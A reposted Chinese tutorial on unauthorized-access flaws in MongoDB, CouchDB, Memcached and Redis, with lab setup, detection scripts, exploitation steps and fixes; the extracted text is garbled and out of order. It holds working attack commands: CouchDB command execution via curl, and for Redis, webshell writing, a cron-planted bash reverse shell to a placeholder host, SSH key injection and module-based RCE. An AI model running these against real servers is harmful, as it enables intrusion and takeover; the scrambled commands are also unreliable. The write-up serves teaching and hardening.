搜索

[16108] 2020-11-19_从零开始学习各种常见未授权访问漏洞

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-18
2020-11-19_从零开始学习各种常见未授权访问漏洞 从 零 开 始 学 习 各 种 常 见 未 授 权 访 问 漏 洞 Y o k a n   F r e e B u f   2 0 2 0 - 1 1 - 1 9 前 言 前 言 未 授 权 访 问 是 系 统 对 用 户 限 制 不 全 ， 或 者 无 限 制 ， 可 以 让 任 意 用 户 或 者 限 制 访 问 用 户 ， 访 问 到 需 要 权 限 认 证 的 地 址 。 未 授 权 访 问 通 常 是 会 泄 露 用 户 信 息 ， 系 统 信 息 。 某 些 服 务 和 系 统 中 ， 未 授 权 访 问 还 可 以 执 行 系 统 命 令 ， 操 作 系 统 文 件 ， 导 致 系 统 的 整 体 安 全 遭 到 破 坏 。 本 片 文 章 主 要 是 在 网 上 现 有 文 章 的 基 础 上 ， 结 合 自 己 的 经 验 ， 进 行 总 结 、 增 补 ， 以 保 证 之 前 没 接 触 过 该 应 用 的 师 傅 不 用 去 检 索 其 他 资 料 也 可 以 看 懂 。 M o n g o D B 未 授 权 访 问 漏 洞 未 授 权 访 问 漏 洞 漏 洞 简 介 漏 洞 简 介 M o n g o D B 是 一 个 基 于 分 布 式 文 件 存 储 的 数 据 库 ， 由 C + + 语 言 编 写 ， 旨 在 为 W E B 应 用 提 供 可 扩 展 的 高 性 能 数 据 存 储 解 决 方 案 。 M o n g o D B 默 认 端 口 为 2 7 0 1 7 。 开 启 M o n g o D B 服 务 时 不 添 加 任 何 参 数 时 , 默 认 是 没 有 权 限 验 证 的 , 登 录 的 用 户 可 以 通 过 默 认 端 口 无 需 密 码 对 数 据 库 任 意 操 作 （ 增 、 删 、 改 、 查 高 危 动 作 ） 而 且 可 以 远 程 访 问 数 据 库 。 造 成 未 授 权 访 问 的 根 本 原 因 就 在 于 启 动   M o n g o d b   的 时 候 未 设 置   — a u t h   也 很 少 会 有 人 会 给 数 据 库 添 加 上 账 号 密 码 （ 默 认 空 口 令 ） ， 使 用 默 认 空 口 令 这 将 导 致 恶 意 攻 击 者 无 需 进 行 账 号 认 证 就 可 以 登 陆 到 数 据 服 务 器 。 更 多 M o n g o D B 的 介 绍 请 移 步 ： h t t p s : / / w w w . r u n o o b . c o m / m o n g o d b / m o n g o d b - t u t o r i a l . h t m l 漏 洞 复 现 漏 洞 复 现 环 境 搭 建 环 境 搭 建 这 里 使 用 d o c k e r 。 D o c k e r 教 程 ： h t t p s : / / w w w . r u n o o b . c o m / d o c k e r / d o c k e r - t u t o r i a l . h t m l d o c k e r   s e a r c h   m o n g o d b   #   从 D o c k e r   H u b 查 找 镜 像 d o c k e r   p u l l   m o n g o   # 从 镜 像 仓 库 中 拉 取 或 者 更 新 指 定 镜 像 d o c k e r   i m a g e s   m o n g o   # 列 出 本 地 主 机 上 的 m o n g o 镜 像 d o c k e r   r u n   - d   - p   2 7 0 1 7 : 2 7 0 1 7   — n a m e   m o n g o d b   m o n g o   #   创 建 一 个 新 的 容 器 并 运 行 一 个 命 令 d o c k e r   p s   #   显 示 正 在 运 行 的 容 器 漏 洞 检 测 漏 洞 检 测 P y t h o n 检 测 脚 本 ：
n m a p 检 测 ： 漏 洞 利 用 漏 洞 利 用 这 里 使 用   N o S Q L B o o s t e r 下 载 地 址 ： h t t p s : / / s 3 . m o n g o b o o s t e r . c o m / d o w n l o a d / r e l e a s e s v 5 / n o s q l b o o s t e r 4 m o n g o - 5 . 1 . 1 2 . e x e 修 复 方 法 修 复 方 法 ( 1 )   为   M o n g o D B   添 加 认 证 ①   M o n g o D B   启 动 时 添 加   - a u t h   参 数 。 ②   给   M o n g o D B   添 加 用 户 ( 2 )   禁 用   H T T P   和   R E S T   端 口 M o n g o D B   自 身 带 有 一 个   H T T P   服 务 并 支 持   R E S T   接 口 。 在   2 . 6   版 本 以 后 这 些 接 口 默 认 关 闭 。 M o n g o D B   默 认 会 使 用 默 认 端 口 监 听   W e b   服 务 一 般 不 需 要 通 过   W e b   方 式 进 行 远 程 管 理 建 议 禁 用 。 修 改 配 置 文 件 或 在 启 动 时 选 择   - n o h t t p i n t e r f a c e   参 数   n o h t t p i n t e r f a c e   =   f a l s e 。 ( 3 )   限 制 绑 定   I P 启 动 时 加 入 参 数 # !   / u s r / b i n / e n v   p y t h o n #   _ * _     c o d i n g : u t f - 8   _ * _ d e f   m o n g o d b ( i p , p o r t ) : t r y : c l i e n t   =   M o n g o C l i e n t ( i p , p o r t ) d b = c l i e n t . l o c a l f l a g   =   d b . c o l l e c t i o n _ n a m e s ( ) i f   f l a g : p r i n t   “ [ + ]   M o n g o d b   l o g i n   f o r   a n o n y m o u s ” e x c e p t   E x c e p t i o n ,   e : p a s s n m a p   - p   2 7 0 1 7   — s c r i p t   m o n g o d b - i n f o u s e   a d m i n   #   使 用   a d m i n   库 d b . a d d U s e r “ 用 户 名 ”   “ 密 码 ” #   添 加 用 户 名 、 密 码 d b . a u t h “ 用 户 名 ” , “ 密 码 ” #   验 证 是 否 添 加 成 功 返 回   1   说 明 成 功 。
— b i n d _ i p   1 2 7 . 0 . 0 . 1 或 在   / e t c / m o n g o d b . c o n f   文 件 中 添 加 以 下 内 容 b i n d _ i p   =   1 2 7 . 0 . 0 . 1 C o u c h D B 未 授 权 访 问 漏 洞 未 授 权 访 问 漏 洞 漏 洞 简 介 漏 洞 简 介 C o u c h D B 是 由 A p a c h e 软 件 基 金 会 开 发 的 一 个 开 源 数 据 库 。 重 点 是 易 于 使 用 ， 拥 抱 网 络 。 它 是 一 个 N o S Q L 文 档 存 储 数 据 库 。 它 使 用 J S O N ， 存 储 数 据 （ 文 档 ） ， 使 用 j a v a 脚 本 作 为 其 查 询 语 言 来 转 换 文 档 ， 使 用 h t t p 协 议 为 a p i 访 问 文 档 ， 使 用 W e b 浏 览 器 查 询 索 引 。 C o u c h D B 默 认 在 5 9 8 4 端 口 开 放 R e s t f u l 的 A P I 接 口 ， 用 于 数 据 库 的 管 理 功 能 。 其 H T T P   S e r v e r 默 认 开 启 时 没 有 进 行 验 证 ， 而 且 绑 定 在 0 . 0 . 0 . 0 ， 所 有 用 户 均 可 通 过 A P I 访 问 导 致 未 授 权 访 问 。 任 何 连 接 到 服 务 器 端 口 上 的 人 ， 都 可 以 调 用 相 关 A P I 对 服 务 器 上 的 数 据 进 行 任 意 的 增 删 改 查 ， 其 中 通 过 A P I 修 改 l o c a l . i n i 配 置 文 件 ， 可 进 一 步 导 致 执 行 任 意 系 统 命 令 ， 获 取 服 务 器 权 限 ！ 更 多 C o u c h D B 的 介 绍 请 移 步 ： h t t p s : / / w w w . w 3 c s c h o o l . c n / c o u c h d b / 漏 洞 复 现 漏 洞 复 现 环 境 搭 建 环 境 搭 建 这 里 使 用 v u l h u b 中 的 项 目 来 搭 建 复 现 环 境 V u l h u b 漏 洞 环 境 搭 建 教 程 参 考 ： h t t p s : / / w w w . f u j i e a c e . c o m / p e n e t r a t i o n - t e s t / v u l h u b . h t m l 漏 洞 检 测 漏 洞 检 测 n m a p   - p   5 9 8 4   — s c r i p t   c o u c h d b - s t a t s . n s e 漏 洞 利 用 漏 洞 利 用 任 意 命 令 执 行 ： 1 、 新 增 q u e r y _ s e r v e r 配 置 ， 写 入 要 执 行 的 命 令 ； 2 、 新 建 一 个 临 时 库 和 临 时 表 ， 插 入 一 条 记 录 ； c u r l   - X   P U T   ' h t t p : / / 1 9 2 . 1 6 8 . 1 6 8 . 1 3 1 : 5 9 8 4 / _ c o n f i g / q u e r y _ s e r v e r s / c m d '   - d   ' " i d   > / t m p / s u c c e s s " '
3 、 调 用 q u e r y _ s e r v e r 处 理 数 据 修 复 方 法 修 复 方 法 1 、 指 定 C o u c h D B 绑 定 的 I P   （ 需 要 重 启 C o u c h D B 才 能 生 效 ）   在   / e t c / c o u c h d b / l o c a l . i n i   文 件 中 找 到   “ b i n d _ a d d r e s s   =   0 . 0 . 0 . 0 ”   ， 把 0 . 0 . 0   修 改 为   1 2 7 . 0 . 0 . 1   ， 然 后 保 存 。 2 、 设 置 访 问 密 码   （ 需 要 重 启 C o u c h D B 才 能 生 效 ）   在   / e t c / c o u c h d b / l o c a l . i n i   中 找 到 “ [ a d m i n s ] ” 字 段 配 置 密 码 。 M e m c a c h e d 未 授 权 访 问 漏 洞 未 授 权 访 问 漏 洞 漏 洞 简 介 漏 洞 简 介 M e m c a c h e d 是 一 个 自 由 开 源 的 ， 高 性 能 ， 分 布 式 内 存 对 象 缓 存 系 统 。 M e m c a c h e d 是 一 种 基 于 内 存 的 k e y - v a l u e 存 储 ， 用 来 存 储 小 块 的 任 意 数 据 （ 字 符 串 、 对 象 ） 。 这 些 数 据 可 以 是 数 据 库 调 用 、 A P I 调 用 或 者 是 页 面 渲 染 的 结 果 。 M e m c a c h e d 简 洁 而 强 大 。 它 的 简 洁 设 计 便 于 快 速 开 发 ， 减 轻 开 发 难 度 ， 解 决 了 大 数 据 量 缓 存 的 很 多 问 题 。 它 的 A P I 兼 容 大 部 分 流 行 的 开 发 语 言 。 一 般 的 使 用 目 的 是 ， 通 过 缓 存 数 据 库 查 询 结 果 ， 减 少 数 据 库 访 问 次 数 ， 以 提 高 动 态 W e b 应 用 的 速 度 、 提 高 可 扩 展 性 。 由 于   M e m c a c h e d   的 安 全 设 计 缺 陷 ， 客 户 端 连 接   M e m c a c h e d   服 务 器 后 无 需 认 证 就 可 读 取 、 修 改 服 务 器 缓 存 内 容 。 默 认 监 听 端 口 1 1 2 1 1 更 多 M e m c a c h e d 的 介 绍 请 移 步 ： h t t p s : / / w w w . r u n o o b . c o m / M e m c a c h e d / M e m c a c h e d - t u t o r i a l . h t m l 漏 洞 复 现 漏 洞 复 现 环 境 搭 建 环 境 搭 建 6 4 位 系 统   1 . 4 . 4 版 本 ： h t t p : / / s t a t i c . r u n o o b . c o m / d o w n l o a d / m e m c a c h e d - w i n 6 4 - 1 . 4 . 4 - 1 4 . z i p 解 压 之 后 ， 用 管 理 员 权 限 打 开 命 令 行 ， 执 行 ： 查 看 进 程 服 务 以 及 端 口 漏 洞 检 测 漏 洞 检 测 c u r l   - X   P U T   ' h t t p : / / 1 9 2 . 1 6 8 . 1 6 8 . 1 3 1 : 5 9 8 4 / v u l t e s t ' c u r l   - X   P U T   ' h t t p : / / 1 9 2 . 1 6 8 . 1 6 8 . 1 3 1 : 5 9 8 4 / v u l t e s t / v u l '   - d   ' { " _ i d " : " 7 7 0 8 9 5 a 9 7 7 2 6 d 5 c a 6 d 7 0 a 2 2 1 7 3 0 0 5 c 7 b " } ' c u r l   - X   P O S T   ' h t t p : / / 1 9 2 . 1 6 8 . 1 6 8 . 1 3 1 : 5 9 8 4 / v u l t e s t / _ t e m p _ v i e w ? l i m i t = 1 0 '   - d   ' { " l a n g u a g e " : " c m d " , " m a p " : " " } '   - H   ' C o n t e n t - T y p e : a p p l i c a t i o n / j s o n ' m e m c a c h e d . e x e   - d   i n s t a l l   安 装 m e m c a c h e d . e x e   - d   s t a r t   启 动 n e t s t a t   - a n o   |   f i n d s t r   1 1 2 1 1 t a s k l i s t   |   f i n d s t r   M e m c a c h e d
P y t h o n 检 测 脚 本 ： N m a p 检 测 ： 漏 洞 利 用 漏 洞 利 用 t e l n e t   1 1 2 1 1   或   n c   - v v   1 1 2 1 1 无 需 用 户 名 密 码 ， 可 以 直 接 连 接 m e m c a c h e   服 务 的 1 1 2 1 1 端 口 s t a t s   # 查 看 m e m c a c h e 服 务 状 态 s t a t s   i t e m s   / / 查 看 所 有 i t e m s s t a t s   c a c h e d u m p   3 2   0   / / 获 得 缓 存 k e y 漏 洞 攻 击 D E M O :   h t t p : / / b l o g . n s f o c u s . n e t / m e m c a c h e - u n a u t h o r i z e d - a c c e s s - e x p l o i t / 修 复 方 法 修 复 方 法 1 、 配 置 m e m c a c h e d 监 听 本 地 回 环 地 址 1 2 7 . 0 . 0 . 1 。 # !   / u s r / b i n / e n v   p y t h o n #   _ * _     c o d i n g : u t f - 8   _ * _ d e f   M e m c a c h e _ c h e c k ( i p ,   p o r t = 1 1 2 1 1 ,   t i m e o u t = 5 ) :         t r y :                 s o c k e t . s e t d e f a u l t t i m e o u t ( t i m e o u t )                 s   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M )                 s . c o n n e c t ( ( i p ,   i n t ( p o r t ) ) )                 s . s e n d ( " s t a t s r n " )                 r e s u l t   =   s . r e c v ( 1 0 2 4 )                 i f   " S T A T   v e r s i o n "   i n   r e s u l t :                         p r i n t   ' [ + ]   M e m c a c h e   U n a u t h o r i z e d :   '   + i p + ' : ' + s t r ( p o r t )         e x c e p t   E x c e p t i o n ,   e :                 p a s s n m a p   - p   1 1 2 1 1   — s c r i p t   m e m c a c h e d - i n f o [ r o o t @ l o c a l   ~ ] #   v i m   / e t c / s y s c o n f i g / m e m c a c h e d O P T I O N S = " - l   1 2 7 . 0 . 0 . 1 "     # 设 置 本 地 为 监 听 [ r o o t @ l o c a l   ~ ] #   / e t c / i n i t . d / m e m c a c h e d   r e s t a r t   # 重 启 服 务
2 、 当 m e m c a c h e d 配 置 为 监 听 内 网 I P 或 公 网 I P 时 ， 使 用 主 机 防 火 墙 （ i p t a l b e s 、 f i r e w a l l d 等 ） 和 网 络 防 火 墙 对 m e m c a c h e d 服 务 端 口 进 行 过 滤 。 R e d i s 未 授 权 访 问 漏 洞 未 授 权 访 问 漏 洞 漏 洞 简 介 漏 洞 简 介 R e d i s 是 一 个 开 源 的 使 用 A N S I   C 语 言 编 写 、 遵 守 B S D 协 议 、 支 持 网 络 、 可 基 于 内 存 亦 可 持 久 化 的 日 志 型 、 K e y - V a l u e 数 据 库 ， 并 提 供 多 种 语 言 的 A P I 。 它 通 常 被 称 为 数 据 结 构 服 务 器 ， 因 为 值 （ v a l u e ） 可 以 是   字 符 串 ( S t r i n g ) ,   哈 希 ( H a s h ) ,   列 表 ( l i s t ) ,   s e t s   和   s o r t e d   s e t s 等 类 型 。 R e d i s   的 出 现 很 大 程 度 上 弥 补 了   m e m c a c h e d   这 类   K e y / V a l u e   存 储 的 不 足 在 部 分 场 合 可 以 对 关 系 数 据 库 起 到 很 好 的 补 充 作 用 。 R e d i s   默 认 情 况 下 会 绑 定 在 0 . 0 . 0 . 0 : 6 3 7 9 这 样 会 将   R e d i s   服 务 暴 露 到 公 网 上 。 在 没 有 开 启 认 证 的 情 况 下 会 导 致 任 意 用 户 在 可 以 访 问 目 标 服 务 器 的 情 况 下 未 经 授 权 就 访 问 到   R e d i s   以 及 读 取   R e d i s   的 数 据 。 等 多 R e d i s 的 介 绍 请 移 步 ： h t t p s : / / w w w . r u n o o b . c o m / r e d i s / r e d i s - t u t o r i a l . h t m l 漏 洞 复 现 漏 洞 复 现 环 境 搭 建 环 境 搭 建 L i n u x 源 码 安 装 w g e t   h t t p : / / d o w n l o a d . r e d i s . i o / r e l e a s e s / r e d i s - 6 . 0 . 8 . t a r . g z # 下 载 t a r   - z x v f   r e d i s - 6 . 0 . 8 . t a r . g z   # 解 压 c d   r e d i s - 6 . 0 . 8   #   进 入 r e d i s 目 录 m a k e   # 编 译 执 行 完   m a k e   命 令 后 ， r e d i s - 6 . 0 . 8   的   s r c   目 录 下 会 出 现 编 译 后 的   r e d i s   服 务 程 序   r e d i s - s e r v e r ， 还 有 用 于 测 试 的 客 户 端 程 序   r e d i s - c l i 下 面 启 动   r e d i s   服 务 ： 注 意 这 种 方 式 启 动   r e d i s   使 用 的 是 默 认 配 置 。 也 可 以 通 过 启 动 参 数 告 诉   r e d i s   使 用 指 定 配 置 文 件 使 用 下 面 命 令 启 动 。 r e d i s . c o n f   是 一 个 默 认 的 配 置 文 件 。 我 们 可 以 根 据 需 要 使 用 自 己 的 配 置 文 件 。 当 然 现 在 我 们 需 要 每 次 都 进 入 安 装 目 录 才 能 启 动 r e d i s 服 务 。 现 在 再 做 如 下 配 置 ： #   c d   s r c #   . / r e d i s - s e r v e r #   c d   s r c #   . / r e d i s - s e r v e r   . . / r e d i s . c o n f c p   r e d i s - s e r v e r   / u s r / b i n /
U b u n t u   a p t   命 令 安 装 在   U b u n t u   系 统 安 装   R e d i s   可 以 使 用 以 下 命 令 : 启 动   R e d i s 查 看   r e d i s   是 否 启 动 ？ 以 上 命 令 将 打 开 以 下 终 端 ： 1 2 7 . 0 . 0 . 1   是 本 机   I P   ， 6 3 7 9   是   r e d i s   服 务 端 口 。 现 在 我 们 输 入   P I N G   命 令 。 以 上 说 明 我 们 已 经 成 功 安 装 了 r e d i s 。 安 装 完 成 r e d i s 之 后 ， 修 改 配 置 文 件 r e d i s . c o n f ： 漏 洞 检 测 漏 洞 检 测 N m a p 检 测 ： c p   r e d i s - c l i   / u s r / b i n /             # 将 r e d i s - s e r v e r 和 r e d i s - c l i 拷 贝 到 / u s r / b i n 目 录 下 （ 这 样 启 动 r e d i s - s e r v e r 和 r e d i s - c l i 就 不 用 每 次 都 进 入 安 装 目 录 了 ） c d   . . c p   r e d i s . c o n f   / e t c /           # 将 r e d i s . c o n f 拷 贝 到 / e t c / 目 录 下 r e d i s - s e r v e r   / e t c / r e d i s . c o n f     #   使 用 / e t c / 目 录 下 的 r e d i s . c o n f 文 件 中 的 配 置 启 动 r e d i s 服 务 s u d o   a p t   u p d a t e s u d o   a p t   i n s t a l l   r e d i s - s e r v e r r e d i s - s e r v e r r e d i s - c l i r e d i s   1 2 7 . 0 . 0 . 1 : 6 3 7 9 > b i d   1 2 7 . 0 . 0 . 1 前 面 加 上 # 号 注 释 掉 p r o t e c t e d - m o d e 设 为 n o n m a p   - p   6 3 7 9   — s c r i p t   r e d i s - i n f o
漏 洞 利 用 漏 洞 利 用 R e d i s 未 授 权 访 问 漏 洞 有 多 种 利 用 方 法 ， 具 体 请 看 ： h t t p s : / / w w w . f r e e b u f . c o m / a r t i c l e s / n e t w o r k / 1 5 8 0 6 5 . h t m l 这 里 仅 复 现 其 中 的 一 部 分 。 0 x 0 1   绝 对 路 径 写 入 w e b s h e l l 通 过 r e d i s 在 指 定 的 w e b 目 录 下 写 入 一 句 话 木 马 ， 用 菜 刀 连 接 可 达 到 控 制 服 务 器 的 目 的 。 利 用 条 件 ： 1 、 目 标 存 在 w e b 目 录 2 、 已 知 w e b 绝 对 路 径 3 、 存 在 写 入 权 限 适 用 范 围 ： w i n d o w s ， l i n u x 版 本 。 利 用 过 程 ： 利 用 r e d i s 写 入 一 个 w e b s h e l l 到 目 标 w e b 目 录 下 : r n r n 代 表 换 行 的 意 思 ， 用 r e d i s 入 的 文 件 会 自 带 一 些 版 本 信 息 ， 如 果 不 换 行 可 能 会 导 致 无 法 执 行 。 写 入 成 功 （ 将 写 入 内 容 换 成 p h p 一 句 话 即 可 g e t s h e l l ） 0 x 0 2   在 c r o n t a b 里 写 定 时 任 务 ， 反 弹 s h e l l c o n f i g   s e t   d i r   " / v a r / w w w / h t m l " c o n f i g   s e t   d b f i l e n a m e   p h p i n f o . p h p s e t   x   " r n r n < ? p h p   p h p i n f o ( ) ; ? > r n r n " s a v e
利 用 条 件 ： 权 限 可 写 计 划 任 务 使 用 范 围 ： c e n t o s 只 能 在 c e n t o s 下 反 弹 ， 这 是 由 于 r e d i s 向 任 务 计 划 文 件 里 写 内 容 出 现 乱 码 而 导 致 的 语 法 错 误 ， 而 乱 码 是 避 免 不 了 的 ， c e n t o s 会 忽 略 乱 码 去 执 行 格 式 正 确 的 任 务 计 划 ， 而 u b u n t u 并 不 会 忽 略 这 些 乱 码 ， 所 以 导 致 命 令 执 行 失 败 利 用 过 程 ： 在 权 限 足 够 的 情 况 下 ， 利 用 r e d i s 写 入 文 件 到 计 划 任 务 目 录 下 执 行 。 首 先 监 听 端 口 。 利 用 r e d i s 生 成 计 划 任 务 配 置 文 件 。 每 一 分 钟 执 行 一 次 ， 只 有 目 标 主 机 是 c e n t o s 才 可 以 成 功 接 收 到 反 弹 的 s h e l l 。 0 x 0 3   写 入 s s h 公 钥 ， 获 取 r o o t 权 限 使 用 范 围 ： 开 启 了 密 钥 认 证 的 l i n u x 主 机 利 用 条 件 ： 1 、 r o o t 权 限 2 、 开 启 了 s s h 密 钥 登 录 ， 存 在 / e t c / . s s h 文 件 利 用 过 程 ： 当 r e d i s 以 r o o t 身 份 运 行 ， 可 以 给 r o o t 账 户 写 入 S S H 公 钥 文 件 ， 直 接 通 过 S S H 登 录 目 标 服 务 器 。 1 、 首 先 在 靶 机 上 开 启 s s h 密 钥 登 录 。 修 改 / e t c / s s h / s s h d _ c o n f i g 配 置 文 件 : 然 后 重 启 服 务 2 、 生 成 密 钥 在 攻 击 机 中 使 用 自 带 的 命 令 生 成 一 对 密 钥 。 3 、 将 公 钥 内 容 导 入 k e y . t x t 文 件 n c   - l v v p   8 7 6 9 c o n f i g   s e t   d i r   / v a r / s p o o l / c r o n s e t   x   " n n * / 1   *   *   *   *   / b i n / b a s h   - i > & / d e v / t c p / x x x . x x x . x x x . x x x / 8 7 6 9   0 > & 1 n n " c o n f i g   s e t   d b f i l e n a m e   r o o t s a v e R S A A u t h e n t i c a t i o n 设 置 为 y e s ， 意 思 是 设 置 开 启 使 用 R S A 算 法 的 基 于 r h o s t s 的 安 全 验 证 ； P u b k e y A u t h e n t i c a t i o n 设 置 为 y e s ， 意 思 是 设 置 开 启 公 钥 验 证 ； A u t h o r i z e d K e y F i l e s 后 面 的 目 录 ， 是 你 上 传 的 公 钥 所 保 存 的 文 件 。 s y s t e m c t l   r e s t a r t   s s h d . s e r v i c e s s h - k e y g e n   - t   r s a
4 、 将 生 成 的 公 钥 内 容 设 置 给 r e d i s 里 的 变 量 5 、 在   / r o o t / . s s h   目 录 下 生 成 a u t h o r i z e d _ k e y s 文 件 。 成 功 写 入 a u t h o r i z e d _ k e y s 文 件 。 6 、 使 用 本 地 的 私 钥 连 接 s s h s s h   1 9 2 . 1 6 8 . 1 6 8 . 1 3 3 连 接 成 功 。 0 x 0 4   主 从 复 制 R C E 在 R e i d s   4 . x 之 后 ， R e d i s 新 增 了 模 块 功 能 ， 通 过 外 部 拓 展 ， 可 以 实 现 在 R e d i s 中 实 现 一 个 新 的 R e d i s 命 令 ， 通 过 写 C 语 言 编 译 并 加 载 恶 意 的 . s o 文 件 ， 达 到 代 码 执 行 的 目 的 。 通 过 脚 本 实 现 一 键 自 动 化 g e t s h e l l ： 1 、 生 成 恶 意 . s o 文 件 ， 下 载 R e d i s M o d u l e s - E x e c u t e C o m m a n d 使 用 m a k e 编 译 即 可 生 成 。 2 、 攻 击 端 执 行 ： p y t h o n   r e d i s - r c e . p y   - r   目 标 i p - p   目 标 端 口   - L   本 地 i p   - f   恶 意 . s o - r 参 数 是 指 目 标 r e d i s   I P 地 址 - L 参 数 是 指 本 机 的 i p 地 址 ( e c h o   - e   “ n n ” ;   c a t   / r o o t / . s s h / i d _ r s a . p u b ;   e c h o   - e   “ n n ” )   >   k e y . t x t c a t   / r o o t / k e y . t x t   |   r e d i s - c l i   - h   1 9 2 . 1 6 8 . 1 6 8 . 1 3 3   - x   s e t   x x x r e d i s - c l i   - h   1 9 2 . 1 6 8 . 1 6 8 . 1 3 3 c o n f i g   s e t   d i r   / r o o t / . s s h c o n f i g   s e t   d b f i l e n a m e   a u t h o r i z e d _ k e y s g i t   c l o n e   h t t p s : / / g i t h u b . c o m / n 0 b 0 d y C N / R e d i s M o d u l e s - E x e c u t e C o m m a n d c d   R e d i s M o d u l e s - E x e c u t e C o m m a n d / m a k e g i t   c l o n e   h t t p s : / / g i t h u b . c o m / R i d t e r / r e d i s - r c e . g i t c d   r e d i s - r c e / c p   . .   / m o d u l e . s o   . / p i p   i n s t a l l   - r   r e q u i r e m e n t s . t x t p y t h o n   r e d i s - r c e . p y   - r   1 9 2 . 1 6 8 . 2 8 . 1 5 2   - p   6 3 7 9   - L   1 9 2 . 1 6 8 . 2 8 . 1 3 7   - f   m o d u l e . s o
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理